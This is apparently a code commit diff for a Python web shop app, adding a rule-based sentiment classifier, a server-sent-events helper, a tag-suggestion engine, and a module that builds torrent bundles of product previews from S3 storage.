if tag.parent is not None:
tag.unwrap()
return str(soup)
def markdown_to_raw_html(data, extra_extensions=None):
"""Accepts a markdown string, returns raw unsanitized HTML"""
extensions = [
@ -181,24 +216,6 @@ def protect_links(soup, cleaner):
for a_tag in soup.find_all("a"):
uri = miniuri.Uri(a_tag.attrs.get("href", ""))
# Add shop ribbon color styling to all links
if hasattr(cleaner, "shop") and cleaner.shop:
link_color = cleaner.shop.theme_link_color
if link_color:
# Validate that the color looks like a valid CSS color
# Allow hex colors (#fff, #ffffff), rgb(), rgba(), hsl(), hsla(), and named colors
import re
color_pattern = r"^(#[0-9a-fA-F]{3}|#[0-9a-fA-F]{6}|rgb\([^)]+\)|rgba\([^)]+\)|hsl\([^)]+\)|hsla\([^)]+\)|[a-zA-Z]+)$"
if re.match(color_pattern, link_color.strip()):
# Get existing style or create new one
existing_style = a_tag.attrs.get("style", "")
if existing_style and not existing_style.endswith(";"):
existing_style += ";"
# Add color styling with validation
new_style = f"{existing_style}color:{link_color.strip()};"
a_tag.attrs["style"] = new_style
if uri.hostname in cleaner.whitelist_domains:
# domain in whitelist or relative URI so remove rel="nofollow".
a_tag.attrs.pop("rel", None)

98
make_post_sell/lib/sentiment.py Normal file
View file

@ -0,0 +1,98 @@
"""
Rule-based comment sentiment classifier.
No external dependencies — uses only the ``re`` module. Returns −1
(negative), 0 (neutral), or 1 (positive) for a given comment string.
"""
import re
POSITIVE_WORDS = frozenset({
"love", "great", "awesome", "amazing", "excellent", "fantastic",
"wonderful", "beautiful", "perfect", "brilliant", "outstanding",
"superb", "incredible", "magnificent", "thank", "thanks", "good",
"best", "cool", "nice", "happy", "enjoy", "enjoyed", "helpful",
"fire", "impressive", "solid", "recommend", "recommended",
"favorite", "favourite", "gem", "inspiring", "inspirational",
"masterpiece", "phenomenal", "stellar", "bravo", "wow",
"delightful", "exceptional", "glorious", "dope",
})
NEGATIVE_WORDS = frozenset({
"bad", "terrible", "awful", "horrible", "worst", "hate",
"disappointing", "disappointed", "poor", "boring", "waste",
"ugly", "broken", "useless", "annoying", "frustrating",
"mediocre", "overpriced", "scam", "trash", "garbage",
"rubbish", "dreadful", "pathetic", "lame", "sucks",
"meh", "bland", "uninspired", "weak", "confusing",
"disgusting", "offensive", "painful", "regret", "refund",
"spam", "fake", "ripoff", "avoid", "lackluster",
})
NEGATION_WORDS = frozenset({
"not", "no", "never", "neither", "nor", "nothing",
"nowhere", "hardly", "barely", "scarcely", "dont",
"doesnt", "didnt", "wasnt", "werent", "wont",
"wouldnt", "couldnt", "shouldnt", "isnt", "arent",
"cant", "cannot",
})
INTENSIFIERS = frozenset({
"very", "really", "extremely", "absolutely", "incredibly",
"totally", "completely", "utterly", "super", "so",
})
_TOKEN_RE = re.compile(r"[a-zA-Z]{2,}")
_NEGATION_WINDOW = 3
def classify_sentiment(text):
"""Classify *text* and return ``-1``, ``0``, or ``1``."""
if not text:
return 0
tokens = [t.lower() for t in _TOKEN_RE.findall(text)]
if not tokens:
return 0
score = 0.0
negation_countdown = 0
intensifier_active = False
for token in tokens:
# Strip trailing apostrophe contractions already handled by regex
clean = token.replace("'", "")
if clean in NEGATION_WORDS:
negation_countdown = _NEGATION_WINDOW
continue
if clean in INTENSIFIERS:
intensifier_active = True
continue
weight = 0.0
if clean in POSITIVE_WORDS:
weight = 1.0
elif clean in NEGATIVE_WORDS:
weight = -1.0
if weight != 0.0:
if intensifier_active:
weight *= 1.5
if negation_countdown > 0:
weight = -weight
score += weight
intensifier_active = False
if negation_countdown > 0:
negation_countdown -= 1
# Normalize by token count to avoid bias toward long comments
normalized = score / len(tokens)
if normalized > 0.04:
return 1
elif normalized < -0.04:
return -1
return 0

76
make_post_sell/lib/sse.py Normal file
View file

@ -0,0 +1,76 @@
"""Bounded server-sent-events helper (MPS-20 / MPS-21).
We don't have Redis/pub-sub (SQLite app) and uWSGI only has a handful of
worker threads, so a truly long-lived SSE connection would starve the
pool. Instead each connection is *bounded*: it polls the row every
~`poll_interval` seconds, emits a `data:` event whenever the serialized
state changes (and the current state immediately on connect), sends a
heartbeat comment periodically, then closes after ~`hold_seconds`. The
browser's ``EventSource`` reconnects automatically, so the worker thread
is only held for that bounded window.
`fetch_state(session)` is invoked each poll with a *fresh* SQLAlchemy
session (NOT `request.dbsession` — by the time this generator runs,
pyramid_tm has already closed the request transaction) and must return
either ``(version, payload_dict)`` or ``None`` if the object is gone.
`version` is any comparable value; when it changes we emit `payload_dict`.
Timings come from settings so tests can run fast:
app.sse.hold_seconds (default 25)
app.sse.poll_interval_seconds (default 1.5)
"""
import json
import time
def _float_setting(settings, key, default):
try:
return float(settings.get(key, default))
except (TypeError, ValueError):
return default
def event_stream(request, fetch_state):
settings = request.registry.settings
hold = _float_setting(settings, "app.sse.hold_seconds", 25.0)
poll = _float_setting(settings, "app.sse.poll_interval_seconds", 1.5)
heartbeat_every = max(1, int(round(15.0 / poll)) if poll else 1)
factory = request.registry["dbsession_factory"]
deadline = time.monotonic() + hold
sentinel = object()
last_version = sentinel
i = 0
while time.monotonic() < deadline:
session = factory()
try:
result = fetch_state(session)
finally:
session.close()
if result is None:
yield b"event: gone\ndata: {}\n\n"
return
version, payload = result
if version != last_version:
last_version = version
yield ("data: " + json.dumps(payload) + "\n\n").encode("utf-8")
elif i % heartbeat_every == 0:
yield b": ping\n\n"
i += 1
if time.monotonic() >= deadline:
break
time.sleep(poll)
# Closing on purpose — EventSource will reconnect.
yield b"event: reconnect\ndata: {}\n\n"
def sse_response(request, fetch_state):
"""Attach an `event_stream` generator to `request.response` and return it."""
response = request.response
response.content_type = "text/event-stream"
response.headers["Cache-Control"] = "no-cache"
# Hint proxies (nginx; Caddy auto-detects text/event-stream) not to buffer.
response.headers["X-Accel-Buffering"] = "no"
response.app_iter = event_stream(request, fetch_state)
return response

545
make_post_sell/lib/tag_suggest.py Normal file
View file

@ -0,0 +1,545 @@
"""MPS-24 Phase 2: deterministic tag suggestions from product title + description.
Pure functions; no DB, no ML, no external deps beyond the stdlib. Caller
hands us product (title, description, id) tuples + per-shop stopwords +
existing tag slugs; we return ranked candidate clusters for operator
approval.
Pipeline:
tokenize(text) → lowercased word tokens ≥ 3 chars, markdown stripped
simple_stem(word) → suffix-strip; "seasonal"/"seasons" → "season"
suggest_clusters() → list of {stem, label, product_ids, score}
Inputs are weighted: title × 3, description × 1 (capped per product).
"""
import re
from collections import Counter, defaultdict
# Unique-token cap per product for the description side of the input,
# to stop a single long blog post from drowning the catalog signal.
# Title is never capped (titles are short by construction).
# Raised 100 → 400: on long teaching-resource descriptions the old cap
# truncated cross-cutting words like "holiday"/"holidays"/"seasonal"
# before they were ever counted, so those categories never surfaced.
# Still bounded (deduped unique tokens per product) — CWE-407-safe.
DESCRIPTION_TOKEN_CAP = 400
# Title weight relative to description; tokens from the title count this
# many times when scoring stem frequency per product.
TITLE_WEIGHT = 3
DESCRIPTION_WEIGHT = 1
# Minimum number of products that must share a stem for it to surface
# as a candidate category. Singletons are noise.
DEFAULT_MIN_PRODUCTS = 2
# Default cap on how many candidate clusters we return per call.
# Large catalogues (printableprompts has 481) carry many valid niche
# categories — at 100 the operator was missing real groups like
# "holiday"/"holidays" that ranked past the cut. Set high; the
# downstream filters (min_products, max_share, min_title_share) already
# remove noise, so a generous ceiling surfaces the long tail without
# resurfacing junk. Operator can still narrow via ?top_n=.
DEFAULT_TOP_N = 500
# A stem appearing in more than this fraction of products is treated as
# **shop vocabulary** — words the operator uses to describe everything
# they sell, not differentiators between products. E.g. on a K-1 printables
# shop: students / resource / activity / practice — every product is one
# of those. Auto-drop them so the next 20 candidates are actually useful.
DEFAULT_MAX_SHARE = 0.4
# A candidate stem (or bigram) must appear in the *title* of at least
# this fraction of products that carry it, otherwise it's
# description-only noise. e.g. "versions" / "offered" / "engaged" /
# "during" tend to live in marketing copy in descriptions but never in
# titles — those words describe how the product reads, not what it is.
# 0 disables the filter (description-only stems can still cluster).
DEFAULT_MIN_TITLE_SHARE = 0.3
# Bigram generation (adjacent non-stopword tokens) is on by default —
# the highest-impact single change for product titles like
# "Write the Room" → bigram "write room", "First Grade Math" →
# "first grade", "Valentine's Day Color" → "valentine day".
DEFAULT_BIGRAMS = True
# Bigrams score this many times a unigram's weight at the same count.
# Phrases are more specific than single words and should out-rank them
# when both cluster equally well.
BIGRAM_WEIGHT_MULTIPLIER = 2
# English stopwords — hand-tuned for product copy. Operators add
# shop-specific extras via shop.tag_stopwords_json (e.g. printableprompts
# wants "write", "room", "activity").
ENGLISH_STOPWORDS = frozenset([
# Articles, conjunctions, prepositions
"the", "and", "for", "you", "your", "with", "this", "that", "from",
"are", "was", "were", "but", "not", "have", "has", "had", "all",
"any", "can", "will", "would", "should", "could", "into", "out",
"over", "under", "about", "what", "when", "where", "why", "how",
"who", "they", "them", "their", "our", "ours", "his", "her", "its",
"while", "until", "since", "because", "though", "unless", "whether",
# Quantifiers, intensifiers, hedges
"one", "two", "three", "more", "most", "some", "few", "many", "much",
"very", "just", "only", "also", "than", "then", "now", "still",
"such", "even", "ever", "never", "always", "every", "each", "both",
"really", "actually", "basically", "simply", "easily", "nearly",
"perfectly", "exactly",
# Generic verbs
"use", "uses", "used", "using", "make", "makes", "made", "making",
"get", "gets", "got", "getting", "set", "sets", "setting",
"include", "includes", "included", "including",
"buy", "buys", "bought", "buying", "sell", "sells", "sold", "selling",
"give", "gives", "gave", "giving", "take", "takes", "took", "taking",
"show", "shows", "showed", "showing",
"find", "finds", "found", "finding",
"look", "looks", "looked", "looking",
"see", "sees", "saw", "seeing", "seen",
"want", "wants", "wanted", "wanting",
"need", "needs", "needed", "needing",
"like", "likes", "liked", "liking",
"come", "comes", "came", "coming",
"tell", "tells", "told", "telling",
"say", "says", "said", "saying",
"ask", "asks", "asked", "asking",
"help", "helps", "helped", "helping",
"build", "builds", "built", "building",
"work", "works", "worked", "working",
"play", "plays", "played", "playing",
"open", "opens", "opened", "opening",
"close", "closes", "closed", "closing",
"check", "checks", "checked", "checking",
"offer", "offers", "offered", "offering",
"engage", "engages", "engaged", "engaging",
"teach", "teaches", "taught", "teaching",
"learn", "learns", "learned", "learning",
# Marketing fluff
"perfect", "great", "best", "new", "free", "easy", "amazing",
"awesome", "fantastic", "wonderful", "lovely", "favorite",
"ready", "complete", "full", "extra", "bonus", "special",
# Generic nouns / qualifiers
"way", "ways", "kind", "kinds", "type", "types",
"part", "parts", "lot", "lots", "thing", "things",
"place", "places", "side", "sides",
"year", "years", "month", "months", "week", "weeks",
"today", "tomorrow", "yesterday",
"time", "times",
# Generic adjectives
"good", "well", "right", "left", "yes", "okay", "fine",
"fun", "nice", "cute",
"high", "low", "long", "short", "big", "small", "tall",
"old", "young",
# Generic content-medium words (often noise in printable / digital shops)
"version", "versions", "preview", "previews",
"answer", "answers", "question", "questions",
"picture", "pictures", "image", "images",
"graphic", "graphics",
"fact", "facts",
"theme", "themes", "themed",
"recording", "record", "recorded", "records",
"draw", "draws", "drew", "drawing", "drawings",
"line", "lines", "lined",
"cut", "cuts", "cutting",
"sheet", "sheets",
"page", "pages",
"content", "file", "files", "download", "downloads",
"product", "products", "item", "items",
"shop", "shops", "store", "stores",
# Demonstratives (sometimes leak)
"these", "those",
])
# Suffixes to strip in order; longer ones first so "ies" beats "es".
_STEM_SUFFIXES = (
"iness", "fulness", "tion", "ment", "ness", "able", "ible",
"ies", "ied",
"ing", "ers", "est", "ish", "ous",
"ly", "ed", "es", "er", "or",
"al", "ic",
"s",
)
# Strip these markdown / formatting characters before tokenising.
# Note: apostrophe is intentionally KEPT so "Valentine's", "Patrick's"
# survive as readable labels — see `_WORD` below.
_MD_PUNCT = re.compile(r"[`*_~#>|\\\[\]()<>{}/\"!?,.:;=+\-]")
# Drop fenced code blocks / inline code spans so code snippets don't
# leak random tokens. Order matters: fenced first, then inline.
_CODE_FENCE = re.compile(r"```.*?```", re.DOTALL)
_CODE_INLINE = re.compile(r"`[^`]*`")
# Strip URLs (bare or markdown-linked) before tokenising.
_URL = re.compile(r"https?://\S+")
# Strip raw HTML tags (description is markdown but operators paste in HTML).
_HTML_TAG = re.compile(r"<[^>]+>")
# What counts as a word — lowercase letters + digits, ≥ 3 chars,
# with an optional possessive/contraction suffix (e.g. "valentine's",
# "patrick's"). The apostrophe-tail survives the markdown clean so the
# label voting can render readable "Valentine's Day" / "Patrick's Day".
_WORD = re.compile(r"[a-z][a-z0-9]{2,}(?:'[a-z]+)?")
def simple_stem(word):
"""Suffix-strip stem for English-ish product copy.
Conservative: never strips a suffix if the resulting stem is < 3
chars (avoids collapsing "ice" → "i" because of -ce). Drops
possessive/contraction tails first ("valentine's" → "valentine")
so apostrophe surface forms still stem cleanly.
>>> simple_stem("seasonal")
'season'
>>> simple_stem("seasons")
'season'
>>> simple_stem("valentine's")
'valentine'
>>> simple_stem("math")
'math'
"""
w = (word or "").lower()
# Drop possessive / contraction tail before stemming.
if "'" in w:
w = w.split("'", 1)[0]
if len(w) <= 3:
return w
for suffix in _STEM_SUFFIXES:
if w.endswith(suffix) and len(w) - len(suffix) >= 3:
return w[: -len(suffix)]
return w
def _clean_text(text):
"""Strip markdown formatting + URLs + HTML before tokenising."""
if not text:
return ""
text = _CODE_FENCE.sub(" ", text)
text = _CODE_INLINE.sub(" ", text)
text = _URL.sub(" ", text)
text = _HTML_TAG.sub(" ", text)
text = _MD_PUNCT.sub(" ", text)
return text.lower()
def tokenize(text, stopwords=None, cap=None):
"""Tokenize a string into a list of lowercase words ≥ 3 chars.
Drops English stopwords and the operator's per-shop additions. When
`cap` is provided, returns the first `cap` *unique* tokens (in order
of first appearance) — used to stop very long descriptions from
dominating the cluster signal.
"""
if not text:
return []
stop = set(ENGLISH_STOPWORDS)
if stopwords:
stop |= {w.lower() for w in stopwords}
cleaned = _clean_text(text)
tokens = []
seen = set() if cap else None
for raw in _WORD.findall(cleaned):
# Stopword test uses the apostrophe-less base ("valentine" from
# "valentine's") so possessives don't slip past the list.
base = raw.split("'", 1)[0]
if base in stop or raw in stop:
continue
if cap:
if raw in seen:
continue
seen.add(raw)
tokens.append(raw)
if cap and len(tokens) >= cap:
break
return tokens
def stem_bag(title, description, stopwords=None, with_bigrams=True):
"""Compute per-product stem + bigram bag.
Returns a dict with five keys:
unigram_bag -> Counter[stem] -> weighted count
bigram_bag -> Counter[stem_a + ' ' + stem_b] -> weighted count
title_unigrams -> set of stems that appeared in title
title_bigrams -> set of bigram stems that appeared in title
labels -> {key: best_original_word_or_phrase}
Title tokens contribute `TITLE_WEIGHT`, description tokens
contribute `DESCRIPTION_WEIGHT` (capped). Bigrams are formed from
consecutive non-stopword tokens (so "Write the Room" becomes
"write room" — the stopword "the" is removed first, then adjacent
pairs in what remains).
"""
unigram_bag = Counter()
bigram_bag = Counter()
label_votes = defaultdict(Counter)
title_unigrams = set()
title_bigrams = set()
def _absorb(tokens, source_weight, is_title):
stems = [simple_stem(t) for t in tokens]
original = tokens
for stem, raw in zip(stems, original):
unigram_bag[stem] += source_weight
label_votes[stem][raw] += source_weight
if is_title:
title_unigrams.add(stem)
if with_bigrams:
for i in range(len(stems) - 1):
a, b = stems[i], stems[i + 1]
ra, rb = original[i], original[i + 1]
# Avoid bigrams where the same stem appears twice
# ("fall fall") — they reduce signal.
if a == b:
continue
key = f"{a} {b}"
bigram_bag[key] += source_weight * BIGRAM_WEIGHT_MULTIPLIER
label_votes[key][f"{ra} {rb}"] += source_weight
if is_title:
title_bigrams.add(key)
_absorb(tokenize(title, stopwords=stopwords), TITLE_WEIGHT, True)
_absorb(
tokenize(description, stopwords=stopwords, cap=DESCRIPTION_TOKEN_CAP),
DESCRIPTION_WEIGHT,
False,
)
labels = {k: v.most_common(1)[0][0] for k, v in label_votes.items()}
return {
"unigram_bag": unigram_bag,
"bigram_bag": bigram_bag,
"title_unigrams": title_unigrams,
"title_bigrams": title_bigrams,
"labels": labels,
}
def suggest_clusters(
products,
stopwords=None,
existing_tag_slugs=None,
min_products=DEFAULT_MIN_PRODUCTS,
top_n=DEFAULT_TOP_N,
max_share=DEFAULT_MAX_SHARE,
min_title_share=DEFAULT_MIN_TITLE_SHARE,
bigrams=DEFAULT_BIGRAMS,
):
"""Group products by shared stems + bigrams and rank candidates.
Args:
products: iterable of objects with `.id`, `.title`, `.description`.
stopwords: list of lowercase strings to exclude in addition to the
English defaults.
existing_tag_slugs: iterable of slugs already present as Tag rows
for the shop; skipped so we don't re-suggest
already-applied categories.
min_products: minimum products sharing a stem to qualify.
top_n: maximum candidate clusters returned.
max_share: fraction (0..1). A stem appearing in more than this
share of the catalog is dropped as shop vocabulary.
`1.0` disables the filter.
min_title_share: fraction (0..1). For each candidate, at least
this share of products carrying it must have it
in their *title* (vs description-only). `0.0`
disables the filter.
bigrams: include adjacent non-stopword token pairs as candidates
(`write room`, `first grade`). Bigrams get
`BIGRAM_WEIGHT_MULTIPLIER × ` the score per product;
phrases are more specific than single words.
Returns:
Tuple of (clusters, filtered_count):
clusters: list of dicts ranked by product count desc:
{
"stem": "season" or "first grade",
"label": "Seasonal" or "First Grade",
"score": 117,
"product_ids": [<uuid>, <uuid>, ...],
"sample_titles": ["...", "...", ...],
"is_bigram": False or True,
}
filtered_count: number of stems auto-dropped as shop
vocabulary or description-only noise.
"""
from slugify import slugify # local import; only needed here
skip = {s.lower() for s in (existing_tag_slugs or [])}
# Per-key bookkeeping. Keys are either "stem" or "stem_a stem_b".
key_score = Counter()
key_products = defaultdict(list) # key -> [product_id, ...]
key_title_products = defaultdict(set) # key -> {product_id, ...} (in title)
key_labels = defaultdict(Counter) # key -> Counter(original_phrase)
key_titles = defaultdict(list) # key -> [title, ...] for samples
key_is_bigram = {} # key -> bool
total_products = 0
for product in products:
total_products += 1
title = product.title or ""
description = product.description or ""
bag = stem_bag(
title, description, stopwords=stopwords, with_bigrams=bigrams,
)
# Unigrams
for key, weight in bag["unigram_bag"].items():
key_score[key] += weight
key_products[key].append(product.id)
key_titles[key].append(title)
if bag["labels"].get(key):
key_labels[key][bag["labels"][key]] += weight
key_is_bigram.setdefault(key, False)
if key in bag["title_unigrams"]:
key_title_products[key].add(product.id)
# Bigrams
for key, weight in bag["bigram_bag"].items():
key_score[key] += weight
key_products[key].append(product.id)
key_titles[key].append(title)
if bag["labels"].get(key):
key_labels[key][bag["labels"][key]] += weight
key_is_bigram[key] = True
if key in bag["title_bigrams"]:
key_title_products[key].add(product.id)
candidates = []
filtered_count = 0
for key, ids in key_products.items():
n = len(ids)
if n < min_products:
continue
# Drop stems that describe the whole shop, not a category subset.
if total_products > 0 and max_share < 1.0:
if n / total_products > max_share:
filtered_count += 1
continue
# Drop description-only noise — stem barely appears in titles.
if min_title_share > 0.0:
title_share = len(key_title_products[key]) / n
if title_share < min_title_share:
filtered_count += 1
continue
# Best-vote original word/phrase becomes the candidate label.
label_raw = (
key_labels[key].most_common(1)[0][0] if key_labels[key] else key
)
# Title-case so "first grade" → "First Grade".
label = " ".join(w.capitalize() for w in label_raw.split())
candidate_slug = slugify(label)[:80]
if not candidate_slug or candidate_slug in skip:
continue
candidates.append({
"stem": key,
"label": label,
"slug": candidate_slug,
"score": key_score[key],
"product_ids": ids,
"sample_titles": key_titles[key][:3],
"is_bigram": key_is_bigram.get(key, False),
})
candidates.sort(
key=lambda c: (len(c["product_ids"]), c["score"]),
reverse=True,
)
# Bigram supersession: a unigram drops ONLY when a *single* bigram
# already covers ≥ SUPERSESSION_THRESHOLD of its product set — i.e.
# the unigram is a fragment of one phrase ("write" → "write room";
# the operator wants one "Write Room" row, not "Write Room" + "Write"
# + "Room").
#
# An umbrella unigram covered only by the UNION of several DISTINCT
# bigrams (e.g. "holiday" → "december holiday" + "winter holiday" +
# "christmas holiday"; "day" → "valentine day" + "patrick day") is a
# real standalone category and is KEPT. (Operator: they want
# "holiday" recommended on its own even though "December Holiday"
# also surfaces.) Previously the union was superseded too, which
# hid these broad categories.
SUPERSESSION_THRESHOLD = 0.8
bigram_components = defaultdict(list)
for c in candidates:
if c["is_bigram"]:
for stem in c["stem"].split():
bigram_components[stem].append(c)
superseded = set()
for c in candidates:
if c["is_bigram"]:
continue
c_ids = set(c["product_ids"])
if not c_ids:
continue
best_single = 0.0
for big in bigram_components.get(c["stem"], []):
overlap = len(c_ids & set(big["product_ids"])) / len(c_ids)
if overlap > best_single:
best_single = overlap
if best_single >= SUPERSESSION_THRESHOLD:
superseded.add(c["stem"])
filtered_count += 1
candidates = [c for c in candidates if c["stem"] not in superseded]
return candidates[:top_n], filtered_count
def auto_hydrate_tags(dbsession, product):
"""Auto-file a product into the shop's EXISTING tags by its content.
Called when a product is created or its title/description changes.
A tag matches when EVERY stem of its name appears in the product's
title+description stem set, so unigram tags ("Holiday") and phrase
tags ("First Grade", "Novel Studies") both work. Reuses the same
tokenize/simple_stem as the suggest engine for consistency.
Contract (deliberately conservative):
* ADDITIVE only — never removes a tag (operator/explicit tags and
prior auto-tags are preserved).
* IDEMPOTENT — skips tags already on the product.
* Never CREATES tags — inventing categories stays
suggest-then-approve. This only files products into categories
the operator already defined.
Returns the list of Tag rows newly attached (for flash/logging).
"""
shop = product.shop
if shop is None:
return []
from ..models.tag import tags_by_popularity
tags = tags_by_popularity(dbsession, shop)
if not tags:
return []
stopwords = list(shop.tag_stopwords)
prod_tokens = tokenize(product.title or "", stopwords=stopwords)
prod_tokens += tokenize(
product.description or "",
stopwords=stopwords,
cap=DESCRIPTION_TOKEN_CAP,
)
prod_stems = {simple_stem(t) for t in prod_tokens}
if not prod_stems:
return []
existing_ids = {t.id for t in product.tags}
attached = []
for tag in tags:
if tag.id in existing_ids:
continue
name_tokens = tokenize(tag.name or "", stopwords=stopwords)
if not name_tokens:
# Tag name is all stopwords/punctuation — nothing safe to
# match on; skip rather than mis-file.
continue
name_stems = {simple_stem(t) for t in name_tokens}
if name_stems <= prod_stems:
product.tags.append(tag)
attached.append(tag)
return attached

304
make_post_sell/lib/torrent.py Normal file
View file

@ -0,0 +1,304 @@
"""torrent.py — .torrent + magnet link generation for product bundles.
Bundle contents depend on product type:
Free content (is_sellable=False):
content.{ext} ← the actual file (freely distributed)
thumbnail1.{ext} ← cover image
thumbnail2..4.{ext} ← additional images (if present)
description.md ← product description
Paid product (is_sellable=True):
preview.{ext} ← preview file only (the paid file is NOT included)
thumbnail1.{ext}
thumbnail2..4.{ext}
description.md
Thumbnails + description travel with both types.
The paid product file is never seeded — it's gated behind normal payment flow.
Pipeline per product:
1. Download bundle files from S3 into a temp directory
2. Build a multi-file .torrent with torf (BEP 3/BEP 19 web seeds)
3. Upload the .torrent back to S3 at {s3_path}/bundle.torrent
4. Derive magnet link from torrent info hash
5. Save magnet + torrent URL to product row in DB
Fire-and-forget daemon threads — same pattern as s3_mirror.
"""
import logging
import os
import tempfile
import threading
import boto3
log = logging.getLogger(__name__)
DEFAULT_TRACKERS = [
"udp://tracker.opentrackr.org:1337/announce",
"udp://open.stealth.si:80/announce",
"udp://tracker.torrent.eu.org:451/announce",
"udp://tracker.openbittorrent.com:80/announce",
]
# ── S3 credential helpers ─────────────────────────────────────────────────────
def _capture_s3_creds(client):
"""Extract serialisable credentials from a boto3 client."""
creds = client._request_signer._credentials
meta = client.meta
return {
"endpoint": meta.endpoint_url,
"region": meta.region_name,
"access_key": creds.access_key,
"secret_key": creds.secret_key,
}
def _make_client(creds):
return boto3.session.Session().client(
"s3",
region_name=creds["region"],
endpoint_url=creds["endpoint"],
aws_access_key_id=creds["access_key"],
aws_secret_access_key=creds["secret_key"],
)
# ── Bundle file list builder ──────────────────────────────────────────────────
def build_bundle_files(product, cdn_endpoint):
"""Return a list of dicts describing every file that belongs in the torrent.
Each dict:
s3_key — key in the S3 bucket
filename — local filename to use inside the torrent directory
webseed_url — BEP-19 HTTP seed URL (or None)
The paid product file is intentionally excluded for sellable products.
"""
s3_path = product.s3_path
originals = product.originals
extensions = product.extensions
def cdn(s3_key):
return f"{cdn_endpoint}/{s3_key}" if cdn_endpoint else None
files = []
if product.is_sellable:
# Paid product — seed preview only, never the product file.
if "preview" in originals:
ext = extensions.get("preview", "")
s3_key = f"{s3_path}/preview"
files.append({
"s3_key": s3_key,
"filename": f"preview.{ext}" if ext else "preview",
"webseed_url": cdn(s3_key),
})
else:
# Free content — seed the content file.
if "product" in originals:
ext = extensions.get("product", "")
s3_key = f"{s3_path}/product"
files.append({
"s3_key": s3_key,
"filename": f"content.{ext}" if ext else "content",
"webseed_url": cdn(s3_key),
})
# Thumbnails — same for both types.
for key in ["thumbnail1", "thumbnail2", "thumbnail3", "thumbnail4"]:
if key in originals:
ext = extensions.get(key, "")
s3_key = f"{s3_path}/{key}"
files.append({
"s3_key": s3_key,
"filename": f"{key}.{ext}" if ext else key,
"webseed_url": cdn(s3_key),
})
return files
# ── Core torrent generator (runs in background thread) ───────────────────────
def generate_torrent(s3_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=None, cdn_endpoint=None):
"""Download files from S3, build a directory .torrent, upload, save to DB.
bundle_name: torrent name / top-level directory inside the .torrent
files: list of {s3_key, filename, webseed_url} dicts (from build_bundle_files)
description: product description text (written as description.md)
s3_path: {shop_id}/{product_id} — where to upload the .torrent file
"""
if trackers is None:
trackers = DEFAULT_TRACKERS
if not files:
log.warning("torrent: no files to bundle for product=%s — skipping", product_id)
return
try:
import torf
except ImportError:
raise RuntimeError("torf is required — pip install torf")
log.info("torrent: generating bundle '%s' for product=%s (%d files)",
bundle_name, product_id, len(files))
with tempfile.TemporaryDirectory() as tmpdir:
bundle_dir = os.path.join(tmpdir, bundle_name)
os.makedirs(bundle_dir)
webseeds = []
downloaded = set() # filenames that actually landed on disk
# 1. Download each file from S3 into the bundle directory.
for f in files:
local_path = os.path.join(bundle_dir, f["filename"])
log.info("torrent: downloading s3://%s/%s → %s", bucket, f["s3_key"], f["filename"])
try:
s3_client.download_file(bucket, f["s3_key"], local_path)
downloaded.add(f["filename"])
except Exception:
log.warning("torrent: skipping missing file s3://%s/%s", bucket, f["s3_key"])
continue
if f.get("webseed_url"):
webseeds.append(f["webseed_url"])
# 2. Write index.md + index.html into the bundle directory.
# Separate the main file (content/preview) from thumbnails using the
# filename prefix — build_bundle_files names them content.*, preview.*,
# and thumbnail1..4.*.
main_file = next(
(f for f in files
if f["filename"].startswith(("content.", "preview."))
and f["filename"] in downloaded),
None,
)
thumb_files = [
f for f in files
if f["filename"].startswith("thumbnail")
and f["filename"] in downloaded
]
if description:
with open(os.path.join(bundle_dir, "index.md"), "w", encoding="utf-8") as fh:
fh.write(description)
try:
import markdown as _md
html_body = _md.markdown(description or "", extensions=["fenced_code", "tables"])
except ImportError:
html_body = f"<pre>{description}</pre>" if description else ""
# Thumbnail gallery — relative links, rendered inline.
thumb_html = ""
if thumb_files:
imgs = "".join(
f'<a href="{f["filename"]}">'
f'<img src="{f["filename"]}" style="max-width:320px;margin:4px" /></a>'
for f in thumb_files
)
thumb_html = f'<div class="thumbnails" style="display:flex;flex-wrap:wrap;gap:4px">{imgs}</div>\n'
# Main file link — download anchor.
main_html = ""
if main_file:
label = "Download" if main_file["filename"].startswith("content.") else "Preview"
main_html = (
f'<p><a href="{main_file["filename"]}" download>'
f'{label}: {main_file["filename"]}</a></p>\n'
)
html = (
"<!DOCTYPE html>\n<html>\n<head>"
"<meta charset='utf-8'>"
f"<title>{bundle_name}</title>"
"<style>body{font-family:sans-serif;max-width:800px;margin:2em auto;padding:0 1em}"
"img{border-radius:4px}a{color:#16a34a}</style>"
"</head>\n<body>\n"
f"<h1>{bundle_name}</h1>\n"
+ thumb_html
+ main_html
+ html_body
+ "\n</body>\n</html>\n"
)
with open(os.path.join(bundle_dir, "index.html"), "w", encoding="utf-8") as fh:
fh.write(html)
# 3. Build multi-file .torrent from the bundle directory.
t = torf.Torrent(
path=bundle_dir,
name=bundle_name,
trackers=[[tr] for tr in trackers],
webseeds=webseeds,
private=False,
comment="permacomputer.com — open distribution bundle",
source="permacomputer",
)
t.generate()
magnet_uri = str(t.magnet())
log.info("torrent: magnet=%s", magnet_uri)
# 4. Write and upload the .torrent file.
torrent_path = os.path.join(tmpdir, "bundle.torrent")
t.write(torrent_path)
torrent_s3_key = f"{s3_path}/bundle.torrent"
s3_client.upload_file(
torrent_path,
bucket,
torrent_s3_key,
ExtraArgs={
"ACL": "public-read",
"ContentType": "application/x-bittorrent",
"ContentDisposition": f'attachment; filename="{bundle_name}.torrent"',
"CacheControl": "public, max-age=86400",
},
)
log.info("torrent: uploaded .torrent to s3://%s/%s", bucket, torrent_s3_key)
torrent_file_url = (
f"{cdn_endpoint}/{torrent_s3_key}" if cdn_endpoint else None
)
# 5. Save magnet + torrent URL to the product row.
try:
with session_factory() as session:
from ..models.product import Product
product = session.get(Product, product_id)
if product is not None:
product.torrent_magnet_link = magnet_uri
product.torrent_file_url = torrent_file_url
session.add(product)
session.commit()
log.info("torrent: saved magnet + torrent_file_url for product=%s", product_id)
except Exception:
log.exception("torrent: failed to save torrent data for product=%s", product_id)
def generate_torrent_async(s3_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=None, cdn_endpoint=None):
"""Fire-and-forget: generate torrent bundle in a daemon thread."""
creds = _capture_s3_creds(s3_client)
def _run():
try:
fresh_client = _make_client(creds)
generate_torrent(
fresh_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=trackers, cdn_endpoint=cdn_endpoint,
)
except Exception:
log.exception("torrent: background generation failed for product=%s", product_id)
t = threading.Thread(target=_run, daemon=True, name=f"torrent-{product_id}")
t.start()
log.info("torrent: background thread started for product=%s", product_id)

3359
make_post_sell/lib/un.py Normal file
View file

File diff suppressed because it is too large Load diff

718
make_post_sell/lib/voxsplit.c Normal file
